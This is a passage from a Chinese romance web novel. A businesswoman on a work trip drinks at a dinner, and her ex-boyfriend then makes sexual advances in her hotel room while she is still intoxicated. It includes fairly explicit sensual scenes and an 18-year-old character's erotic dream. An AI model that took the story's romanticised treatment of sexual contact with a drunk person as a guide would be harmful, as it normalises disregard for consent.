车停在酒店门口,姜砚替她打开车门,手悬在林念禾的头顶上,怕她撞到头。 等坐进去,她微微松口气,脑子里开始盘算今天晚上,要从对方嘴里套出些什么有帮助的信息。 在来D市之前,她就在网上跟姜砚同学聊得差不多了,这次来就是想看看实际情况。 他们小公司做的是人工智能方向,目前还没有做过智能家居类的项目。 陆氏每年在材料方面投下大量资金,她再往这条路上深研,也没办法走出新的花样。 与其跟同行竞争谁更符合环保绿色理念,不如走科技这条路。 姜砚看她冷漠的侧脸,想起来电梯里的那个陌生男人,一时间心里五味杂陈。 他们说话时语气过于熟稔随意,好像彼此深入了解过,知道对方的生活模式,所以一切交流都很自然。 "你跟那位霍总很熟吗?" 林念禾的思绪被骤然打断,抬眸看他,"一般。" 她以为他是想借着自己搭上霍锌,想着这次的合作多半是靠着他,于是很好心地说,"如果你想认识他的话,我可以帮你组个饭局。" 姜砚果断拒绝,"不用。" 他一点都不想认识那个人。 霍锌看他的眼神里带着不屑和防备,这绝对不是一个正常朋友的态度。 姜砚把自己和那位霍总的优缺点罗列出来,相互比较了一下。 虽然他没有事业,但他年轻。 虽然他认识林念禾时间短,但他年轻。 虽然他没对方聪明,但他年轻。 总而言之,一切外在条件都是浮云,钱买不了青春,一寸光阴一寸金,他现在处在一个最贵的年纪。 下海做鸭,都能被人因为年纪长相怜爱。 林念禾心里还有个放不下的前男友,那位霍总如果真的有机会追到她,也不至于现在还被人当做关系一般的朋友。 一番自我安慰后,姜砚感觉自己取得了精神方面的胜利。 他们到包厢时,姜砚的同学已经早早到了。 对方带着黑框眼镜,长相中上,实足的理工男味道。 他和姜砚是高中同学,做过同桌,高考后他去了理工大学,姜砚成绩太烂被姜父送出国。 第一次见面,林念禾倒不大拘束,因为在手机上聊了很久,比起陌生人见面,他们更像是网友奔现。 坐在对面的林封,手脚都不知道怎么摆了,紧张得要死。工作室本来就是几个人出于爱好在一块儿瞎弄的,他刚大四下,连大学都没毕业。 人生第一次,这么正式地和大公司老总谈合作,心都快跳到嗓子眼了。 幸好今天姜砚也跟着过来,熟人在场,让他找回了一丝踏实。 林封转头去看自己的老同学,结果老同学正一门心思黏在林总身上。 林封:…… "要喝点酒吗?"姜砚问她。 酒精有助于放松精神,林封紧绷成那个样子,林念禾也不好下手问话,总感觉自己在坑害未被社会污染的单纯孩子。 她点点头,"我喝,你们有酒精过敏的吗?" 姜砚替她倒了点红酒,又把林封面前的杯子倒满,"他酒量好着呢,高三毕业谢师宴上,我们班主任被他坑得最后喝多了,被师母关在门外不给进家。" 林封看他一副胳膊肘往外拐的样子,也不好说什么,内心叹了口气,回道,"他说的对。" 酒过三巡,林念禾摁了摁自己发疼的太阳穴,面色正常地听着对面人唠唠叨叨。 "林姐,你肯定不会欺负我的。我说实话,我送给姜砚的那个小机器人纯是自己做着玩的,也没想过能靠那个开公司挣大钱。我对自己没什么期望,我爸妈也是这样,他们就希望我能考研出来找份好工作。" 林封哽咽了下,"我不敢去试错的,我没那么多的试错成本,没人能给我兜底。" "我真的很高兴,你能看见我们的作品。如果有一天这个品牌能做成功 ,我的设计能遍布国内的每一个家庭,我觉得……我死而无憾了。" 一个付诸了心血的作品,就像自己亲手接生的孩子,他带着它来到这个世界,也同样希望它能够被大众认可。 姜砚抽了张纸给他,后者接过去擦眼角。 她也不知道怎么安慰这孩子,满腔诚意,没有被利益侵腐,自己连那些签合同的套话方式都没用,对方就一箩筐地先把底牌亮出来了。 这次合作比想象中要来得轻松得多。 林念禾拍了拍他的肩膀,安慰几句,等他不哭了,站起来,"回去休息吧,睡一觉。" 林封喝得有点多,脑子还迷糊着,嗯了几声,就被姜砚扶出去了。 外面等着的助理接过人,姜砚转身进包厢找林念禾。 她其实喝的也有点多,只不过为了怕露怯,就死撑着。 姜砚整场下来,一滴酒没沾,为了两个人喝多后,包厢里还能有个清醒的。 他一进去,就看见林念禾坐在位置上,神情放空。 她这会儿在思考为什么有股热风从脑袋顶上传过来,吹得她好热。 反应迟钝的大脑,想了半天也没想出来个结果,面前有个东西还一直在眼前晃来晃去。 林念禾烦死了,一把抓住,下一秒手心里的东西挣脱开,姜砚反握住她的手。 "跟我回去" 他声音很轻,表面上平静,实则耳后红了一片。 这是二十年以来第一次和女孩儿牵手。 姜砚等了一会儿,没有听见她的回答,索性把人扶起来,往外走。 她身边跟着的那个苏秘书,今天没有带来。 好不容易把人弄到车上,林念禾闭上眼睛开始想睡觉。 姜砚小心翼翼地用胳膊把她捞到自己的怀里,给她做人肉靠垫。 车里安静,他听见一道平缓的呼吸声。 躁动的心在胸腔里不停跳动,姜砚像是烫着了似的,目光躲闪地看向窗外飞驰而过的景色。 十几分钟后,车到了酒店。 林念禾这会儿醒了一下,自己下车,进入电梯,靠在电梯壁闭眼。 到了指定楼层,她又睡过去了。 姜砚抱着她径直往外走,林念禾住的房间在最里面。 房卡在她的包里,姜砚把她放到一边,掏出手机想给苏秘书打电话。 给人送回房间后,需要卸妆换衣服,他一个没名没分的男人做这些肯定不合适。 电话拨通的那刻,视野里,一只修长带着腕表的手突然掐了下林念禾的脸。 姜砚顺着手看向那张熟悉的脸, 霍锌低着头,像逗猫一样,摸她的脸。 林念禾被逗烦了,睁眼看了下面前的人,他长得一张和家里小男高中生一模一样的脸,就是比后者成熟一些。 喝多了的脑子仿佛被棉花塞住,不能思考。 她下意识忽略了这些细节,将面前的人误以为是家里的男高中生。 "你再弄我的话,今晚滚出去睡。"林念禾凶他,攥住他的手,还吃豆腐似地摸了两下手背。 姜砚冷脸说了句过来一下,就把电话掐断。什么滚出去睡的,这证明两个人的关系要比他想象的亲密得多。 "霍总,您半夜在女生的房间门口,想干什么" 霍锌撩眼看了他一眼,"看不出来吗?" "看出来什么?"他脸冷得可怕。 "我和她的关系比你想象中的要亲密。" "那您就不是她的男朋友,既然不是,就快点走,等会儿姐姐的秘书会上来送她回房间。" 他很聪明地抓住他语句里的漏洞,如果是能放到台面上的男女朋友关系,按照面前这个男人的性格,怎么可能会不直接说出来。 "你怎么知道不是。"霍锌把人抱进怀里,任由她无意识地掐着自己的食指。 那些微痛刺激着他的大脑,全身细胞都在为能接触到林念禾而兴奋,兴奋和疼痛交织,才勉强让他的大脑保持理智。 比起霍锌言语的刺激,林念禾顺从的举动更让姜砚来得嫉妒。 这些行为另一方面说明了霍锌的话,他们是要比他想象的亲密的多。 至于是男朋友,还是上不得台面的情人,谁都不知道。 苏荥跑到楼上时,就看见这幅剑拔弩张的场面。 她伸手去扶林念禾,"我来照顾林总吧。" 霍锌淡淡地扫了她一眼,随手松开手,把人交到她的手里。 "麻烦你了,她喝多了可能会情绪有点不稳,你多注意一点。" 苏荥不知道这人和自家林总的关系,飞快点头,"好的好的。" 说着她去拿房卡,把人弄进屋里。 等把林念禾收拾好,塞进被窝后,关上房间门。屋外站着的两个男人居然还没走。 她吓了一跳,但秉持着保护自家上司的原则,大着胆子说道,"您两位先回去吧,林总已经睡着了。" "我看她喝的不多,就是困得睁不开眼。" 姜砚听后,心放下一半,转眼看见面前的男人,"霍总不走" 霍锌看了他一眼,眼神意味深长,然后抬脚走了。 走了一个,苏荥偏头盯着另一个。 姜砚摸摸鼻子,"麻烦你了。" "不麻烦,姜总晚安。" 赶人赶到这个份儿上,再不走,就显得他纯不要脸了。 等人都走完之后,苏荥站在门口守了一会儿,怕他们又来个回马枪。 男人的那些花花心思,一看就能看出来,都是居心不良,不安好心,想向她家林总自荐枕席。 林念禾半夜是被渴醒的,她爬起来,先环顾四周,反应过来这是在酒店。 看了下手机时间,半夜十二点半。 喉咙干得厉害,她起床出去给自己倒水。 冰冷的水液划过食道,终于缓解了渴意。 喝完一杯水,脑子清明不少,只是还有点头晕。 门口传来门铃声,这个点谁能来找她 她握着水杯,往门口走去。 手机里进来一条信息,是霍锌发的。 霍锌:醒了吗? 霍锌:我给你拿了解酒药,不吃的话,明天早上起来头会疼。 她没多想,给他回了一个醒了,然后开门把人放进来。 他的目光落在她的脸上,抬手摸了下她的脸,"头疼吗?" "还行。" 林念禾躲掉他的手,没去想他是故意还是下意识。 要是只是想送个药,他站在门口就能给了,又何必要多此一举进房间。 可惜林念禾喝多了,想不通,也懒得去想。 他剥开包装锡纸,两粒药被送到她的面前,"吃吧。" 第34章 第34章半夜敲门 两片椭圆的药片躺在霍锌的手心,林念禾伸手接过然后一把吞下。 喉间漫上一层苦意,她喝了口凉水冲淡口腔里的药味。 转身想放水杯时,手腕倏地被人拽住,炙热的唇瓣贴上来。 霍锌把她压在墙上,颇有技巧地开始反复在唇缝间辗转,他并不急着攻池掠地。 时隔太久的思念得到宣泄,男人的气息几乎要侵入她的五脏肺腑。 哪怕只是简单的吻,也让她腿软。 "不喜欢我了" 霍锌含着她的唇,声音沉磁模糊,"为什么又不想要我了,非要我对你跪下来摇尾巴,才肯看我一眼吗?" 她喝多了的那句滚出去睡,根本就不是对着他说的,他知道是对那个藏在家里的替身说的。 嫉妒的火焰在胸腔里燃烧了一整晚,他真的受不了林念禾宁愿把目光放在不值钱的便宜货身上,也不愿来找他。 他爱她,只要她提出来,他会同意任何要求的。 残留的酒精好像又开始麻痹她的大脑,林念禾被亲得晕头转向,根本没空去理他的话。 这他爹的到底是梦,还是现实 等她意识到这是现实时,人已经被霍锌抱起来放在沙发上。 拒绝的话还没说出口。 他跪下来,撩起她的衣角,露出一小截腰,刚才在门口,他 亲得用力,手也不自觉用力,掐出了两个痕迹。 皮肤接触到空气,林念禾下意识动了动腰。 霍锌看了一会儿,眼眸漆黑,不知道在想些什么,随后低下头,亲了下去。 柔软的肌肤,像化在口中。 他舔舐,舌尖滑动,最后抬起身,静静端详着那块被自己舔得湿润泛红的地方。 林念禾感觉自己有些呼吸不过来,□□从身体的最深处钻出来,脚趾蜷缩。 她这短时间刚好在排卵期,本来工作很忙,没往这方面想过,晚上回家也是辅导完小男高,倒头就睡。 二十七的人,活得像四十八绝经的。 月光透过窗撒进来,借着微弱的光,他看见林念禾躺在沙发上,反手紧紧抓住沙发。 他们第一次做的时候,她好像也是这幅紧张到不行的样子。 状元什么都懂,但在这方面跟一张白纸似的任他涂抹。 上大学时,霍锌不习惯住宿舍,直接在附近买了一套房子。林念禾周末会过来跟他一起住,一开始是单纯抱着睡觉,后来就是亲着亲着气氛变得情迷意乱,他老实去浴室洗完冷水澡再把她捞进怀里。 第一次,他们把卧室里的灯全关了,林念禾把头埋在他的脖颈里,偶尔发出几声呜咽。 那天,结束得很快,他把她伺候舒服了,就草草收场,去浴室拿了条干净毛巾替她擦身体。 没经验,又害怕弄伤她,霍锌借着月光把那块地方扒开观察了一下,发现有些红肿,愧疚地抱着她亲了好半天。 没成想第二天,林念禾生龙活虎,他发烧躺在床上有气无力。 她边端着粥边喂他,嘲笑他说哪有人破/处第二天就发烧的。 他当时浑身都难受,没劲儿反驳她,只淡淡地看了林念禾一眼,把这笔账记在心里。 病好后,霍锌翻墙在外网上专门找了很多女性向的视频学习。 林念禾知道他心眼小,肯定要报复自己,于是躲着他找各种借口不去。最后,被人攥着脚腕扔在床上吃干抹净,第二天起来嗓子都哭哑了。 思绪回转,视线落在面前的人身上。 瀑布似的黑发散在身下,同她的白皙的皮肤形成视觉对比,只一眼就能刺激得人头皮发麻,颤栗感从脊柱爬上后脑。 霍锌垂下眼皮,瞳孔里欲念加深,一手握着她的腰肢,另一只手轻轻地摩挲着她的小腹。 她真的很软,身上哪哪儿都软得要命。 林念禾被这若有似无的触感弄得轻喘,身上的那只手顺着腰往上,黑暗中她能精准地感知到哪块皮肤同他的掌心接触。 微凉的肌肤和炙热的掌心相贴,她没忍住,低头咬了口送到面前的小臂。 林念禾不自觉地把自己往前送,想索取更多。 厮混那么多年,他太了解她的每一处,以及不同情况下她的反应。 吻落到她的嘴角,霍锌还是那副平静的样子。 哪怕自己已经忍得快炸了,脑子里全是怎么弄哭她的想法,他依然表现得很从容。 只是手摸到哪处,就会蹦出来这块地方那个替身他碰没碰过的疑问。他能接受她有丈夫,两个人也可能比他们之间还要亲密无间,但他不能忍受一个没价值的替代品替代他,给予林念禾精神和生理双重层面的安慰。 一想到这些,他就想让那个替身去死。 小小年纪干什么不好,非要学那些下贱路子。 知道别人结婚了,还往她身边钻。 衣服早散落在地,林念禾单手摸着他的后颈,像摸狗似地从上到下,一下顺着一下。 霍锌抬头,一双好看的眼睛注视着她,终于放开了被自己舔咬很久的地方。 他不轻不重地摁了下,林念禾跟着呼吸加深了一瞬。 她第一次意识到性可以和爱分开。 明明情感上对霍锌没有多大的留恋,可身体却控制不住地向大脑,一阵一阵地传递着让人坠入云朵的感受。 和前男友do会带来什么后果,林念禾思考了一会儿,没得出什么明确的结论。 要么出了这道门两个人和以前一样关系冷淡,要么霍锌借着这次机会想同她重新开始。 还有一种情况…… 林念禾眼前浮出一层水雾,男人的吻又落下来了,仿佛要把她拆吃入腹。 是霍锌单纯馋她,没什么感情,就是激素上头想跟她发展成那种关系。 毕竟他们以前真的做过很多次,从某些方面来说,他们是彼此最默契的伴侣。 大学时,刚开荤的年轻人总是不知道节制,霍锌拉着她在家里的各个角落都试过,还会夸她做得好,是个水做的女孩儿。 房间悄无声息,只有不停响起的亲吻声。 林念禾被他捞起来,跨坐在他的身上,两只手臂软趴趴地搭在他的颈间。 她感觉整个人都要化了,也不知道这顿大餐前的开胃菜到底要进行多久。 扔在茶几上的手机倏地亮起来,刺白的亮光在房间里格外显眼。 有人在给她打电话,手机震动声吵得霍锌不耐烦地撩眼看过去,林念禾侧头伸长胳膊想去拿。 他握住她的手腕,往下滑,十指相扣,声音哑得像被沙砾磨过,"别管。" 接着林念禾的理智陡然消失,又被他拽进漩涡里。手机没声音了,房间里静悄悄的,过了一会儿,打电话的人像是格外锲而不舍,抱着必须要打通电话的心思,又拨进来。 她勉强地深吸一口气,将那些燥热稍微压下去一些,"我的手机。" 霍锌抬眸看她,声音含糊,"不要管好不好。" 话落,又低头开始亲她。 这个时间能坚持不懈给她电话的,大概是有要紧事。 林念禾恍惚了一下,抓着他的后脑短发,将人扯开。 被扯开的人,意犹未尽地舔了舔自己的下唇,唇瓣被水液沾染得亮晶晶。他像是被抢走糖果的小孩,抿唇,有些不悦地把那部响个不停的破手机捞起来。 乍一接触到光源,他眼眸微眯,缓了片刻,看清来电显示人备注是小徐总。 霍锌手指一滑,摁了免提,下一秒随手把手机扔到脚边。 地面铺了地毯,手机落在地上发出很闷的一声。 林念禾扭着身体想弯腰去捡,被男人摁住后背禁锢在怀里。 指腹缓慢地沿着脊椎下游,尾骨处传来一阵痒意。 她被整得着急了,埋头索性在霍锌的耳后狠咬了一口,警告他不要乱来。 电话那头有道男声开口说话,"你最近怎么样?" 林念禾清了清嗓子,手重新放回霍锌的后脑,像拽住狗脖子上的狗链,防止他等会儿趁自己不注意突然袭击。 "你有事?" 从公司离职后,她就再也没和徐寒见过。 几个月过去了,凌晨一点这人打电话给她,不能是之前她经手的合同有问题 "那天我说的话是真的。"他声音低低的,"你有考虑吗?" 林念禾发懵,仔细想了想,难不成他说的是办公室里他把衣服解开,试图让她留下的那次。 这都过去多久了,居然还不死心。 "我不会回公司的。" "我出三倍工资聘请你回来。"徐寒顿了下,闷声说,"包括那天的事,只要你需要,我就可以。" 这段话在不知道的人眼里,或许会认为他们达成了什么合作,徐寒开出一个高于市场价的价格求她回去。 但林念禾知道,不单单是金钱职位,小徐总甚至还想为她付出一些身体层面的东西。 腰间环绕着男人的手臂,霍锌眼神晦暗地同她对视,半晌,他抬手将她搭在自己肩侧的手轻轻环住。 不知道又是哪里来的男人。 他只错过了三年,可这三年里多出很多觊觎她的男人。 白皙如葱的指腹贴在他的唇上,霍锌垂眸神色专注地 亲吻,或许是还不够满足他,他开始啃咬。 力度不重,更像是爱人之间的调/情。如同幼犬留恋主人,所以想用牙留下痕迹。 "我现在不需要,以后也不需要。"林念禾拒绝他,"辞职是我深思熟虑后做出的决定,不会改变的,徐总如果需要其他能干的下属,我可以帮你联系联系我的那些老同学。" "你知道我说的不是这些。" "我们除了上下属关系,也没有其他关系,毕竟连朋友都不算。" 残酷的语句仿佛一道利刃穿破徐寒的胸腔,他人生头一次这么无话可说,明明是想说些挽回的话,结果电话打过去,他又是高高在上想要威逼利诱。 高位者的态度一时半会儿转变不过来,他握着电话的手指关节用力到泛白,破罐子破摔,"如果我说,我就是想给你当三呢?" 他谈过很多恋爱,却好死不死地栽在了一个最没可能的人身上。朝夕相处时,不知道是哪个瞬间,他就动了心。 林念禾辞职后,他看不见她,仿佛生活中被挖去了一块必需品。 他想留在她身边,他想跟她开始一段感情。 电话那边久久没有声音,徐寒看了眼屏幕,对方早一声不吭地把电话挂了。 房间里, 霍锌挂断电话,顺手拉黑,然后将手机放到一边。 四目相对,氛围安静得诡异。 洗手间的水龙头好像没拧紧,时不时滴答几声,窗外是偶尔响起的汽车声音。 几种声音交织,林念禾后知后觉地有些尴尬,方才情绪上头,又亲又摸,现在冷静下来恨不得想抽死自己。 而且还让霍锌听见了徐寒说要给她做三…… 犹如一盆冷水浇下来,她扯过一旁的衣服。 "我困了,不想继续了。" 第35章 第35章咬得不明显 此时此刻,她说这种话,其实挺不是人的。 林念禾想从他身上下来,被他摁住腰肢,不能动弹。 她沉默地把上衣穿好,至于裤子…… 没找到,不知道扔哪里去了。 霍锌的衣服领口大开,衣摆被她卷到胸口,胸肌上全是她掐出来的指印,还有咬痕。 点点红印,浮在白皙的皮肤表面,看上去像是被人狠狠欺负过一番。 林念禾看见自己干出来的杰作,手指不自觉弯了弯,心虚感一点点往外渗出来。 他本来就是那种一碰就红的体质,肤色还白,甚至那块地方也是粉色 很有存在感的某个东西,提示着她,霍锌处于一个很危险的状态。 她晕头转向,像是躺在棉花里,随着时间流逝水温高涨,而面前的人从把她摁在门口亲再到沙发上,一件衣服都没脱。 除了被她弄上去的上衣,剩下的完好无损。 林念禾一脸平静地替他把衣服整理好,“明天有工作的话,记得早点睡。” 看吧,他这时候忍得都快炸了,她还有心情跟他说工作。 霍锌觉得自己的身体仿佛被撕裂成两半,胸腔深处有股炙热在源源不断地折磨他快要崩掉的神经,如同在火焰上翻烤,他想和她亲近,想从她身上汲取慰籍。 另一半的心,却因徐寒的话,还有她想将他拒之千里的态度给刺激到。像坠入深海般冰冷,冷意渐渐裹住他的整颗心,但滚烫的血液又在身体里渴望她。 他从来没这么无助过,比之前出车祸躺在病床上快要死了还难受。 人人都夸他会投胎,生在霍家,父母恩爱,家境优渥,别人努力几辈子才能拥有的东西,在他这里唾手可得。 似乎前二十四年老天格外偏爱他,连同爱情也一并给了他。 高中遇见自己一见钟情的女孩,后面虽然说有用一些不太上得了台面的手段,但他最终还是成功让林念禾喜欢上了自己。 变故出现的那年,父亲去世,母亲生病,他吊着一口气,被外祖父接回去。 人在濒死时,会走马观花地看完这一辈子的记忆。 霍锌看见了无数个碎片,有林念禾哭笑或者是生气的样子,有自己生气她撒娇哄他的场景。 他想,如果自己真的死了,世界上大概没有比他更好比他更适合林念禾的男人了。 结果没死成功,一睁眼就得到了她结婚的消息。 徐寒的话一直在他的脑海里盘旋,现在给林念禾上赶着做狗的多到都要排队了,他算什么? 算被她扔掉的那个吗? 霍锌沉默了一会儿,张嘴去咬她胸前的纽扣。 后脑传来刺痛,林念禾的手插进他的短发,逼着他抬头。 男人的眼尾发红湿润,她声音震惊到颤抖,“你哭了?” 认识霍锌这么久,从来没见过他掉过眼泪。 这人出生开始就要什么有什么,心冷得像块石头做的一样,比起自己哭,他更喜欢让别人哭。 “别、别哭啊。”林念禾抬手帮他擦眼泪,她到现在连条裤子都没穿上,到底谁应该哭。 她的指腹柔软,手腕上散发的甜香诱惑着他,那份难过很快从心里底消失殆尽。 霍锌攥住她的手,哑声问,“你要赶我走吗?” 如果没有那通电话,他现在不会坐在这里哭,而是会在林念禾的床上,同她接吻,然后盯着她满是红潮的脸,进去。 林念禾怔了下,眼睫眨动,解释,“时间很晚了。” 她的借口反反复复就那几个,时间很晚了,我困了,明天还有工作。毕竟现在的情况确实尴尬,虽然波涛汹涌的海浪褪去,但她仍然能感觉到自己的潮湿。 隔着一层布料,她甚至能隐隐猜到一些物体的样子。 在她说完拒绝的话后,气氛像是降到冰点。霍锌眼眸漆黑,像是有团化不开的浓雾。 良久,他放开她。 房间的门被关上,电子锁自动落下,发出滴答的机械音。 林念禾把头埋在膝盖上,她摸了摸自己滚烫的脸,无声崩溃。天杀的,霍锌走的时候,她看见他的裤子上有块明显是被自己弄湿的水渍。 地球毁灭吧,怎么会有人差点跟分手好几年的前男友滚到一张床上去。 翌日, 醒来已经是中午十二点,今天没有安排工作。 睡了一觉起来,再加上喝了酒,林念禾对昨晚的事情只有个模糊的记忆,直到她站在镜子前开始准备洗漱。 锁骨,腰窝,胸,每一处都有他弄出来的红痕。 调整一会儿心态,林念禾把这事扔到九霄云外,就当被狗咬的。 放在洗脸台旁边的手机亮了一下,姜砚发消息给她,问她醒没醒,还难受吗。 林念禾:【刚醒,昨晚麻烦你了。】 姜砚:【要吃饭吗,我知道这附近有个很好吃的店。】 林念禾:【不用,我凑合一下就行。】 那边没回复了,林念禾心刚放下去几秒,门口传来声音。 姜砚今天穿得很好看,头发也是精心打理过,他仔细想了下昨天晚上的事。那位霍总八成嘴里没真话。 于是今天一早就爬起来准备,只等着和林念禾见面。 昨天的酒果然有问题,她一开门,看见他的刹那,人都麻了。不得不承认,姜砚的妈妈给了他一张很漂亮的脸蛋,这种好看和霍锌的好看又不太一样,前者洋溢着年轻人的活力,后者是沉稳的男人。 想到年轻人,她忽然记起来家里好像还有个更年轻的。 幸好悬崖勒马,没和霍锌真的睡了,不然回去该怎么面对十八岁的高中生版霍锌。 她口口声声说自己和对方分手毫无关系,结果转身背着他和成年版的他滚到一起。 姜砚忽地弯腰贴近她,放大的五官带来极大的视觉冲击,温热的呼吸轻抚过脸,对方黑密的睫毛下垂,像宝石一样的琥珀色眼眸注视她,"怎么不说话" 林念禾猛地后退一步,"我换身衣服,你等一下。" 说着,就转身往屋内去。 衣领被人轻轻拉住,姜砚伸手摸了摸她后颈处的红痕,奇怪刚开春居然有蚊子咬人,"我房间里有药,要不要帮你抹一下" "抹什么?" "你 脖子这里有块小的红印,是不是被虫咬了?" "……" 门被毫不留情地关上,姜砚鼻尖差点撞上去。 他摸摸自己的脸,确保没有被撞到毕竟还指着这幅皮囊来勾搭她。 站在门外等了十几分钟,门被打开,林念禾换了衣服,还化了妆,后颈那块发红的地方,也被衣服挡得严严实实。 整个人漂亮又精致。 姜砚眼前一亮,将心里那些蹦出来的雀跃压下去,边走边说,"今天温度比之前还高,穿高领会不会热" 进入电梯,他说,"你可以用遮瑕遮一下想,反正咬得不明显。" 电梯下行一层,门打开,苏荥进来时听见这种话,吓得心都颤了一下。 她昨天严防死守来着,姜砚居然不要脸地后来又偷溜进去,还爬上了他们林总的床 "林总好。" 林念禾看她也是准备去吃饭,顺嘴邀请,"要和我们一起吃饭吗?" "不用了,我自己吃点就行。" "认识这么久,我还没请你吃过饭,今天有空,正好请你。" 她跟姜砚一个人吃饭太尴尬了,能拽上一个就是一个,在合作没拿下来之前,她不能轻易对姜砚摆脸色,终归是靠着他才搭上这条线。 苏荥听出老板的言外之意,只不过她想的有点偏,觉得林总是因为昨晚姜砚不要脸爬床,所以才尴尬,秉承着我不入地狱谁入地狱的信念感,点头,"谢谢林总。" 姜砚找了一家味道很好的私房菜馆,味道偏辣。 吃完饭,他想赶人走了。 苏荥也不好意思多留,顶着姜砚不善的目光,随便找个借口打车先走。 终于剩下两个人,林念禾刚吃完饭不想动,坐在位置上玩手机。 一开始两个人的位置还离着一段距离,后来越来越近,板凳都快合成一块了。 她现在对姜砚是有那么一丝丝的好感,做朋友可以,做对象还得再说。 对于他这些非常明显的孔雀开屏举动,林念禾也是睁一只眼闭一只眼,反正他长得好看,身高挺高,身材嘛,估计也挺好的。 姜砚看着她的屏幕,林念禾点开短视频软件,开屏就是一个擦边男博主,上半身肌肉裸露,头上带着猫耳朵。 林念禾:…… 老天爷是不是打算玩死她,昨天尴尬就算了,今天还这样。 他看她的眼神变化一瞬,语气幽幽,"喜欢这种" 经历得多了,人就麻木了。 林念禾飞快把视频划走,面无表情,"不喜欢,大数据算法对于年轻女用户会自动推送这种视频。就像男用户的手机里永远刷不到在家庭里辛苦付出却被当做享福的全职妈妈,给他们推送的都是哪某个男人今天又当了纯爱战士。" "是吗,我不怎么玩手机,我不知道。" "那你平时干什么?" 话一出口,林念禾就后悔了,姜砚因为在外面跟人飙车出事被送回来。 他只是长得没有危险性,实际上比谁都喜欢找刺激。 "赛车,爬山,跳伞,都挺好玩的。"姜砚看见她手机进来一个语音通话邀请,"少玩手机,外面的世界真的很精彩。" 他玩还来不及,哪有空躺在床上刷手机。 林念禾想锤死他,她难道不知道外面的世界很精彩吗,怪不得姜砚身上有种没被世俗污染过的干净,原来是比她少了班味。 她想着这事,连通话人的名字都没看,就直接摁下绿色的接通按键。 姜砚那边还在吧啦吧啦地数着自己的爱好,他说非洲草原上的狮子比动物园里的凶得多,冰山上的企鹅群离老远就一股味道,凑近了更是难闻。 "你身边有人" 少年清冽的音色透过电话传进耳道,姜砚仿佛被遏制住喉咙,止住嘴。 有男人给她打电话。 林念禾异常冷静,隔着屏幕两个人看不见对方,只要霍锌不说些什么惊天地泣鬼神的话,她就能稳住一切。 她端起水杯,喝了一口,"作业写完了?" 姜砚浑身拉起来的警报瞬间灭下去,原来是个还在上学的孩子。 "你哪天回来" "还要待一个礼拜吧。" 电话那头传来一阵衣物摩擦声,接着是两声兴奋的狗叫。 她的心一下就软了,"乐乐想我了呀,妈妈过两天就回去,你在家里乖乖的,不要偷吃东西。" 少年坐在沙发上摸着狗,有些嫉妒,她还说呀,跟他说话都不这样。 他声音低沉,"不止乐乐想你,我也很想。" 第36章 第36章凑一桌算了 即使没开免提,包厢里的两个人挨的太近,导致电话那头男生的话清清楚楚地传进两个人的耳里。 姜砚下意识皱了一下眉,但转念一想,觉得可能是她出差太久,弟弟想姐姐。 "你……" 她卡壳,好半天才说道,"最近天气冷,多穿点衣服。" 霍锌天天上学就穿那点校服,在家睡觉仗着有暖气,就套件短袖睡觉。 以前他还喜欢裸睡,大冬天的身上不着一缕,醒来之后就喜欢往她这边拱,跟吸猫似的恨不得吸死她。 十八岁的霍锌有没有裸睡的习惯,她不清楚。毕竟他在家睡觉是会习惯性反锁门,也不知道防的是林念禾,还是他自己。 那边男生低笑一声,语气淡淡,说出的话却异常肯定,"做贼心虚啊你。" 每次闲来无事关心他,必定是在外面干了对不起自己的事情。 "刚才那个说话的男人是谁你跟他在吃饭吃完饭为什么不回去他不会现在还在听着咱俩说话吧?" 一连串的问题扑头盖脸地砸过来,林念禾脑子嗡地一下,这狗东西难不成是真的往她身上装监控了。 旁边的姜砚已经不好意思继续听下去,被人家弟弟发现偷听电话,第一印象彻底完蛋了,于是站起来走到窗边,开始抠绿植的叶子。 那边,林念禾缓缓神,声音镇定,"就是一起吃饭的朋友。我等会儿还有事,就先挂了。" "等等。" "怎么了" 霍锌手指在腿上敲了敲,"我昨天睡觉做了一宿噩梦。" "我房间的抽屉里有褪黑素。"她以为他是睡不好,学习压力大,"你这次开学考的成绩我看了,考的不错。" 电话那头的人沉默了一会儿,"我昨天梦见被你气哭了,然后你给我擦眼泪。" 多余的画面,他难以启齿。 自己被她亲亲摸摸,拽着头发,胸口还被她啃咬舔舐。同样,他也对她干了一些见不得人的事,梦醒时,掌心仿佛还握着那两团滑腻,梦里往下是林念禾的腰肢,再然后他就低头亲了下去。 青春期的男高不是没做过春梦,可这春梦太真了。而且最后林念禾像个提裤走人的渣女,让他滚,气得他在梦里直掉眼泪。 气归气,早上起来照样在淋浴间待了好久。 霍锌从来没这么窝囊过,越想越不明白,等反应过来时,手里的电话已经拨过去了。 "……" 本来昨天都快忘了这件事,经他提醒,该死的全部都想起来了。昨天裤子都没穿,就忙着给他擦眼泪。 她敷衍他,"很正常,我高中还做梦梦见上学路边的一条狗突然会说人话,骂我是废物,数学居然只考了136。它说它用脚写都能考得比我高。" 开学考数学正好考136的少年,陷入沉默。 不生气了,他感觉人格被侮辱了。 "我抽屉里有褪黑素,还有安眠药,你自己看着说明书吃点,别吃多,吃多了后面更难睡觉。不过做噩梦,好像也不需要 吃这些,睡前喝杯牛奶也能安眠。" 一说起这个,林念禾开始操心,"少喝咖啡,晚上别让乐乐上你床睡觉,它打呼噜很响的。" "那你哪天回来"他声音闷闷的,心里像是有条小虫子不停地扭动,思念成疾。 "下个礼拜就回去了。" 又陆陆续续聊了几句,她突然对他变得有耐心包容,甚至连霍锌那种擦边式的模糊暧昧语句都能顺着哄两下。 电话挂断,姜砚坐回她身边。 "弟弟上高几" "高三。"林念禾握着手机,脑子里思考了一下霍锌说的话。 他们两个人又不是双胞胎,还能有心灵感应 太扯淡了吧。 而且其他事不梦,只梦她差点跟霍锌睡觉。 林念禾默默地把这个荒诞的猜测从心里打包扔出去。孩子只说被她气哭了,其他没有说,也不一定是心灵感应,可能仅仅是巧合。 "那压力一定很大,改天我回去找他玩,带他散心。" 他们两个人往外走,姜砚自己开车,到了车库,贴心地替她拉开副驾驶。 他没弟弟妹妹,姜母生他的时候难产,不敢再生第二胎,所以家里只有他一个孩子,宠得不像话。 姜砚边开车离开车库,边跟她聊天,"他十八岁吗,我跟他差的不多,应该能玩在一块。" 他絮絮叨叨地,\"我能去你家找他玩吗?" "……" \"你弟弟跟你长得像吗,如果和你像的话,那肯定长得也很好看。" "……" 林念禾目视前方,有些麻木,她当时为什么心软把人收留下来。 要不哪天把他们几个叫一块儿算了,三缺一,再加上她,正好能凑一桌麻将。 哦,还有徐寒,带上徐寒的话,她自己就不能上桌打麻将了。 "开车,前面有摄像头,别跟我说话。" 